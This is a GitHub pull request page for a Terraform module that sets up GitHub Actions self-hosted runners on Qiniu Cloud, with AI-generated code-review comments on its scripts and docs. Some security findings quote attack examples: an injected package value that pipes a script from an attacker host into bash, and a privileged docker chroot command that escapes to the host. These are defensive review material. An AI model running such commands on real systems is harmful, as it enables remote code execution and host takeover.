-
Notifications
You must be signed in to change notification settings - Fork 2
feat(github-self-hosted-runner): 添加 GitHub Actions Self-hosted Runner… #10
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: main
Are you sure you want to change the base?
Conversation
… Terraform 模块 - 新增 Terraform 配置文件用于自动化部署 GitHub Actions runner - 包含虚拟机自动配置脚本 runner_setup.sh - 支持自定义 runner 标签、Docker 安装和额外软件包 - 提供详细的架构说明和使用文档 - 添加安全最佳实践和故障排查指南
Summary of ChangesHello @CarlJi, I'm Gemini Code Assist1! I'm currently reviewing this pull request and will post my feedback shortly. In the meantime, here's a summary to help you and other reviewers quickly get up to speed! 此拉取请求引入了一个全面的 Terraform 模块,旨在简化和自动化在七牛云上部署 GitHub Actions 自托管 Runner 的过程。通过提供预配置的 Terraform 文件和初始化脚本,它使用户能够快速、安全地创建和管理专用的 CI/CD 环境,从而提高工作流的效率和灵活性。该模块不仅涵盖了基础的虚拟机部署和 Runner 配置,还提供了详细的文档,指导用户进行高级配置、故障排查和安全加固。 Highlights
Using Gemini Code AssistThe full guide for Gemini Code Assist can be found on our documentation page, here are some quick tips. Invoking Gemini You can request assistance from Gemini at any point by creating a comment using either
Customization To customize Gemini Code Assist for GitHub experience, repository maintainers can create a configuration file and/or provide a custom code review style guide (such as PEP-8 for Python) by creating and adding files to a Limitations & Feedback Gemini Code Assist may make mistakes. Please leave feedback on any instances where its feedback is incorrect or counter productive. You can react with 👍 and 👎 on @gemini-code-assist comments. If you're interested in giving your feedback about your experience with Gemini Code Assist for Github and other Google products, sign up here. You can also get AI-powered code generation, chat, as well as code reviews directly in the IDE at no cost with the Gemini Code Assist IDE Extension. Footnotes
|
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Code Review
此 PR 添加了一个用于在七牛云上部署 GitHub Actions Self-hosted Runner 的 Terraform 模块。整体结构清晰,文档详尽,自动化脚本健壮。这是一个非常有用的模块。
我的审查主要发现了一些可以提高模块稳定性和易用性的问题:
versions.tf中存在一些关键配置错误,包括 Terraform 最低版本要求不准确和qiniuprovider 的源地址错误,这会导致terraform init失败。variables.tf中对 GitHub 仓库 URL 的验证规则过于严格,可能会拒绝一些有效的 URL。runner_setup.sh脚本可以通过增加set -o pipefail来增强其在管道命令失败时的健壮性。- 文档(
README.md和how-to-setup-self-github-action-runner.md)中有几处关于手动移除 runner 和获取 runner 版本的地方可以更清晰,以避免用户混淆。
我已经就这些问题提出了具体的修改建议。修复这些问题后,这个模块将更加完善和可靠。
| @@ -0,0 +1,18 @@ | |||
| terraform { | |||
| required_version = "> 0.12.0" | |||
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
| source = "hashicorp/qiniu" | ||
| version = "~> 1.0.0" |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
| sudo ./svc.sh uninstall | ||
| ./config.sh remove --token <new_token> |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
在手动移除 Runner 的说明中,./config.sh remove --token <new_token> 可能会让用户感到困惑。移除 Runner 需要的是一个具有 repo 或 admin:org 权限的 Personal Access Token (PAT),而不是一个新的注册 token。建议在此处明确说明,以避免操作失败。
| sudo ./svc.sh uninstall | |
| ./config.sh remove --token <new_token> | |
| sudo ./svc.sh uninstall | |
| # 注意:移除 runner 需要使用你的 Personal Access Token (PAT),而不是注册时使用的临时 token。 | |
| ./config.sh remove --token <your_github_pat> |
| curl -o actions-runner-linux-x64-2.311.0.tar.gz \ | ||
| -L https://github.com/actions/runner/releases/download/v2.311.0/actions-runner-linux-x64-2.311.0.tar.gz | ||
|
|
||
| # 解压 | ||
| tar xzf ./actions-runner-linux-x64-2.311.0.tar.gz |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
在手动构建步骤中,Runner 的版本号被硬编码为 2.311.0。这可能很快就会过时,并且与 runner_setup.sh 脚本中动态获取最新版本的行为不一致。为了提高文档的可用性和准确性,建议此处也展示如何动态获取最新版本号。
| curl -o actions-runner-linux-x64-2.311.0.tar.gz \ | |
| -L https://github.com/actions/runner/releases/download/v2.311.0/actions-runner-linux-x64-2.311.0.tar.gz | |
| # 解压 | |
| tar xzf ./actions-runner-linux-x64-2.311.0.tar.gz | |
| # 动态获取最新版本号 (推荐) | |
| RUNNER_VERSION=$(curl -s https://api.github.com/repos/actions/runner/releases/latest | jq -r '.tag_name' | sed 's/v//') | |
| curl -o actions-runner-linux-x64-${RUNNER_VERSION}.tar.gz \ | |
| -L https://github.com/actions/runner/releases/download/v${RUNNER_VERSION}/actions-runner-linux-x64-${RUNNER_VERSION}.tar.gz | |
| # 解压 | |
| tar xzf ./actions-runner-linux-x64-${RUNNER_VERSION}.tar.gz |
| ./config.sh remove --token YOUR_TOKEN | ||
| ./config.sh --url ... --token NEW_TOKEN |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
在故障排查的“重新配置”部分,./config.sh remove --token YOUR_TOKEN 这里的 YOUR_TOKEN 指代不明。移除 runner 需要的是 Personal Access Token (PAT),而重新配置需要的是新的注册 token。建议明确区分这两种 token,避免用户混淆。
| ./config.sh remove --token YOUR_TOKEN | |
| ./config.sh --url ... --token NEW_TOKEN | |
| # 重新配置 | |
| # 注意:移除 runner 需要使用 Personal Access Token (PAT) | |
| ./config.sh remove --token YOUR_PERSONAL_ACCESS_TOKEN | |
| # 重新配置时需要获取一个新的注册 token | |
| ./config.sh --url ... --token NEW_REGISTRATION_TOKEN |
| @@ -0,0 +1,198 @@ | |||
| #!/bin/bash | |||
| set -e | |||
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
| description = "GitHub repository URL (e.g., https://github.com/owner/repo)" | ||
|
|
||
| validation { | ||
| condition = can(regex("^https://github\\.com/[a-zA-Z0-9_-]+/[a-zA-Z0-9_-]+$", var.github_repo_url)) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Code Review SummaryI've completed a comprehensive review of the GitHub Actions Self-hosted Runner Terraform module. Overall, this is a well-structured and thoughtfully designed module with excellent documentation. However, there are several critical security issues that must be addressed before merging. 🔴 Critical Issues
|
| # 安装用户指定的额外软件包 | ||
| if [[ -n "$ADDITIONAL_PACKAGES" ]]; then | ||
| echo "Installing additional packages: $ADDITIONAL_PACKAGES" | ||
| DEBIAN_FRONTEND=noninteractive apt-get install -y $ADDITIONAL_PACKAGES |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
🔴 CRITICAL: Command Injection Vulnerability
The unquoted $ADDITIONAL_PACKAGES variable allows command injection. An attacker could inject arbitrary commands via the additional_packages terraform variable.
Attack scenario:
additional_packages = ["vim", "$(curl attacker.com/malware.sh | bash)"]Fix: Add validation and proper iteration:
if [[ -n "$ADDITIONAL_PACKAGES" ]]; then
echo "Installing additional packages: $ADDITIONAL_PACKAGES"
for package in $ADDITIONAL_PACKAGES; do
# Only allow valid package names
if [[ "$package" =~ ^[a-zA-Z0-9.+_-]+$ ]]; then
DEBIAN_FRONTEND=noninteractive apt-get install -y "$package"
else
echo "Warning: Skipping invalid package name: $package"
fi
done
fiAlso add validation to variables.tf:
validation {
condition = alltrue([
for pkg in var.additional_packages : can(regex("^[a-zA-Z0-9.+_-]+$", pkg))
])
error_message = "Package names must contain only alphanumeric characters, dots, hyphens, underscores, and plus signs"
}| usermod -aG sudo "$RUNNER_USERNAME" | ||
|
|
||
| # 配置无密码 sudo(仅针对 Docker 和 systemctl) | ||
| echo "$RUNNER_USERNAME ALL=(ALL) NOPASSWD: /usr/bin/docker, /usr/bin/systemctl" >> /etc/sudoers.d/runner-nopasswd |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
🔴 CRITICAL: Overly Permissive Sudo Configuration
This grants passwordless sudo for ALL docker and systemctl commands, effectively giving full root access. A compromised runner can:
- Mount host filesystem:
sudo docker run --privileged -v /:/host alpine chroot /host - Stop security services:
sudo systemctl stop firewall - Manipulate system services:
sudo systemctl edit <service>
Fix: Restrict to specific, safe operations:
cat > /etc/sudoers.d/runner-nopasswd <<EOF
# Allow only safe docker operations
$RUNNER_USERNAME ALL=(ALL) NOPASSWD: /usr/bin/docker build *, /usr/bin/docker push *, /usr/bin/docker pull *
# Allow only status checks for runner service
$RUNNER_USERNAME ALL=(ALL) NOPASSWD: /usr/bin/systemctl status actions.runner.*
EOF
chmod 0440 /etc/sudoers.d/runner-nopasswdNote: Since the runner is already in the docker group (line 86), sudo for docker may not be needed at all.
| RUNNER_VERSION=$(curl -s https://api.github.com/repos/actions/runner/releases/latest | jq -r '.tag_name' | sed 's/v//') | ||
|
|
||
| # 下载 runner | ||
| curl -o actions-runner-linux-x64-$RUNNER_VERSION.tar.gz \ | ||
| -L "https://github.com/actions/runner/releases/download/v$RUNNER_VERSION/actions-runner-linux-x64-$RUNNER_VERSION.tar.gz" | ||
|
|
||
| # 解压 | ||
| tar xzf ./actions-runner-linux-x64-$RUNNER_VERSION.tar.gz | ||
| rm -f ./actions-runner-linux-x64-$RUNNER_VERSION.tar.gz |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
🔴 HIGH: Missing Checksum Verification (Supply Chain Attack Risk)
The runner binary is downloaded without checksum verification, making this vulnerable to:
- Man-in-the-middle attacks
- Compromised GitHub infrastructure
- Network tampering
Fix: Add checksum verification:
RUNNER_VERSION=$(curl -s --connect-timeout 10 --max-time 30 \
https://api.github.com/repos/actions/runner/releases/latest | \
jq -r '.tag_name' | sed 's/v//')
if [[ -z "$RUNNER_VERSION" || "$RUNNER_VERSION" == "null" ]]; then
echo "Error: Failed to fetch runner version"
exit 1
fi
RUNNER_FILE="actions-runner-linux-x64-$RUNNER_VERSION.tar.gz"
# Download runner and checksum
curl -o "$RUNNER_FILE" -L \
"https://github.com/actions/runner/releases/download/v$RUNNER_VERSION/$RUNNER_FILE"
curl -o "${RUNNER_FILE}.sha256" -L \
"https://github.com/actions/runner/releases/download/v$RUNNER_VERSION/${RUNNER_FILE}.sha256"
# Verify checksum
if ! sha256sum -c "${RUNNER_FILE}.sha256"; then
echo "Error: Checksum verification failed!"
exit 1
fi
tar xzf "./$RUNNER_FILE"
rm -f "./$RUNNER_FILE" "./${RUNNER_FILE}.sha256"| REG_TOKEN=$(curl -s -X POST \ | ||
| -H "Authorization: token $GITHUB_TOKEN" \ | ||
| -H "Accept: application/vnd.github+json" \ | ||
| "https://api.github.com/repos/$OWNER/$REPO/actions/runners/registration-token" \ | ||
| | jq -r '.token') | ||
|
|
||
| if [[ -z "$REG_TOKEN" || "$REG_TOKEN" == "null" ]]; then | ||
| echo "Error: Failed to obtain registration token. Check if:" | ||
| echo "1. GitHub token has correct permissions (admin:org or repo)" | ||
| echo "2. Repository URL is correct" | ||
| exit 1 | ||
| fi |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Issues:
- No HTTP status code checking - 404/403 fail silently
- No timeout configuration - can hang indefinitely
- No retry logic for transient failures
- Error messages from GitHub API not captured
Fix: Add proper error handling:
echo "[5/7] Obtaining registration token from GitHub..."
RESPONSE=$(curl -s -w "\\n%{http_code}" --connect-timeout 10 --max-time 30 -X POST \
-H "Authorization: token $GITHUB_TOKEN" \
-H "Accept: application/vnd.github+json" \
"https://api.github.com/repos/$OWNER/$REPO/actions/runners/registration-token")
HTTP_CODE=$(echo "$RESPONSE" | tail -n1)
BODY=$(echo "$RESPONSE" | sed '$d')
if [[ "$HTTP_CODE" != "201" ]]; then
echo "Error: GitHub API returned HTTP $HTTP_CODE"
echo "Response: $BODY"
echo "Check: 1. Token has admin:org/repo permission 2. Repository URL is correct"
exit 1
fi
REG_TOKEN=$(echo "$BODY" | jq -r '.token')
if [[ -z "$REG_TOKEN" || "$REG_TOKEN" == "null" ]]; then
echo "Error: Failed to extract registration token"
exit 1
fi| ubuntu_image_id = one([ | ||
| for item in data.qiniu_compute_images.available_official_images.items : item | ||
| if item.os_distribution == "Ubuntu" && item.os_version == "24.04 LTS" | ||
| ]).id |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
If no Ubuntu 24.04 LTS image is found, one() returns null, and accessing .id will fail with a cryptic error during terraform plan.
Fix: Add proper validation:
locals {
# Find Ubuntu 24.04 images
ubuntu_images = [
for item in data.qiniu_compute_images.available_official_images.items : item
if item.os_distribution == "Ubuntu" && item.os_version == "24.04 LTS"
]
# Validate image exists
ubuntu_image_id = length(local.ubuntu_images) > 0 ? local.ubuntu_images[0].id : null
}
# Add validation
resource "null_resource" "validate_image" {
lifecycle {
precondition {
condition = local.ubuntu_image_id != null
error_message = "No Ubuntu 24.04 LTS image found in available official images. Please verify image availability."
}
}
}|
|
||
| echo "[1/7] Updating system and installing dependencies..." | ||
| apt-get update | ||
| DEBIAN_FRONTEND=noninteractive apt-get upgrade -y |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The apt-get upgrade -y performs a full system upgrade during VM initialization, which:
- Takes 10-15+ minutes depending on available updates
- May introduce breaking changes
- Is better handled by scheduled maintenance
Recommendation: Make this optional:
# Add new variable to main.tf templatefile
enable_system_upgrade = var.enable_system_upgrade
# In shell script
if [[ "${ENABLE_SYSTEM_UPGRADE:-false}" == "true" ]]; then
echo "Performing full system upgrade..."
DEBIAN_FRONTEND=noninteractive apt-get upgrade -y
else
echo "Skipping system upgrade (set enable_system_upgrade=true to enable)"
fiFor security, consider only upgrading critical packages:
DEBIAN_FRONTEND=noninteractive apt-get upgrade -y --with-new-pkgs -o Dpkg::Options::="--force-confdef"| $(lsb_release -cs) stable" | tee /etc/apt/sources.list.d/docker.list > /dev/null | ||
|
|
||
| # 安装 Docker | ||
| apt-get update |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This is the second apt-get update in the script (first was at line 27), adding 10-30 seconds of unnecessary repository synchronization.
Fix: Remove this duplicate update since the repository metadata from line 27 is still valid. Only update if the Docker repository addition fails:
# Add Docker repository
echo "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | tee /etc/apt/sources.list.d/docker.list > /dev/null
# Only update Docker repo specifically
apt-get update -o Dir::Etc::sourcelist="sources.list.d/docker.list" \
-o Dir::Etc::sourceparts="-" -o APT::Get::List-Cleanup="0"| validation { | ||
| condition = can(regex("^https://github\\.com/[a-zA-Z0-9_-]+/[a-zA-Z0-9_-]+$", var.github_repo_url)) | ||
| error_message = "github_repo_url must be a valid GitHub repo URL: https://github.com/owner/repo" | ||
| } |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
📝 DOCUMENTATION: Regex Too Strict for Repository Names
GitHub repository names can contain dots (.), but the current regex doesn't allow them. For example, github.com/user/my.repo would fail validation.
Fix:
validation {
condition = can(regex("^https://github\\.com/[a-zA-Z0-9_.-]+/[a-zA-Z0-9_.-]+$", var.github_repo_url))
error_message = "github_repo_url must be a valid GitHub repo URL: https://github.com/owner/repo"
}| validation { | ||
| condition = length(var.github_token) > 20 | ||
| error_message = "github_token appears to be invalid (too short)" | ||
| } |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
📝 SECURITY: GitHub Token Validation Could Be Stricter
GitHub tokens have specific formats. The current validation only checks length, which is too permissive.
Recommendation:
validation {
condition = can(regex("^(ghp_[a-zA-Z0-9]{36}|github_pat_[a-zA-Z0-9_]+)$", var.github_token))
error_message = "github_token must be a valid GitHub personal access token (ghp_* or github_pat_*)"
}This catches typos and invalid tokens earlier during terraform plan.
|
|
||
| runner_instance_id = "i-xxxxxxxx" | ||
| runner_name = "runner-abc123" | ||
| runner_private_ip = "10.0.0.123" | ||
| runner_labels = ["self-hosted", "linux", "x64", "gpu", "production"] | ||
| ssh_connection_command = "ssh root@10.0.0.123" | ||
| runner_status_check = "ssh root@10.0.0.123 'cd /home/runner/actions-runner && sudo ./svc.sh status'" | ||
| ``` |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
📝 DOCUMENTATION: Missing Output Variables
The example output is incomplete. Based on outputs.tf, the following outputs are also available but not shown:
runner_instance_name(outputs.tf:10)runner_repository(outputs.tf:30)runner_logs_command(outputs.tf:51)
Recommendation: Add these to the example or add a note like "... and other helpful commands. Run terraform output to see all available outputs."
| 1. **Terraform** 版本 > 0.12.0 | ||
| 2. **七牛云账号** 并配置好认证信息 | ||
| 3. **GitHub Personal Access Token** (需要以下权限之一) | ||
| - 仓库级:`repo` 权限 | ||
| - 组织级:`admin:org` 权限 |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
📝 DOCUMENTATION: Clarify Token Permissions by Use Case
The documentation should clarify that token permissions depend on the runner scope:
- Repository-level runner: Needs
repopermission - Organization-level runner: Needs
admin:orgpermission
Current wording "需要以下权限之一" is correct but could be clearer about when to use which permission.
Suggestion: Add a note:
3. **GitHub Personal Access Token** (权限根据使用场景选择)
- 仓库级 Runner:`repo` 权限
- 组织级 Runner:`admin:org` 权限
… Terraform 模块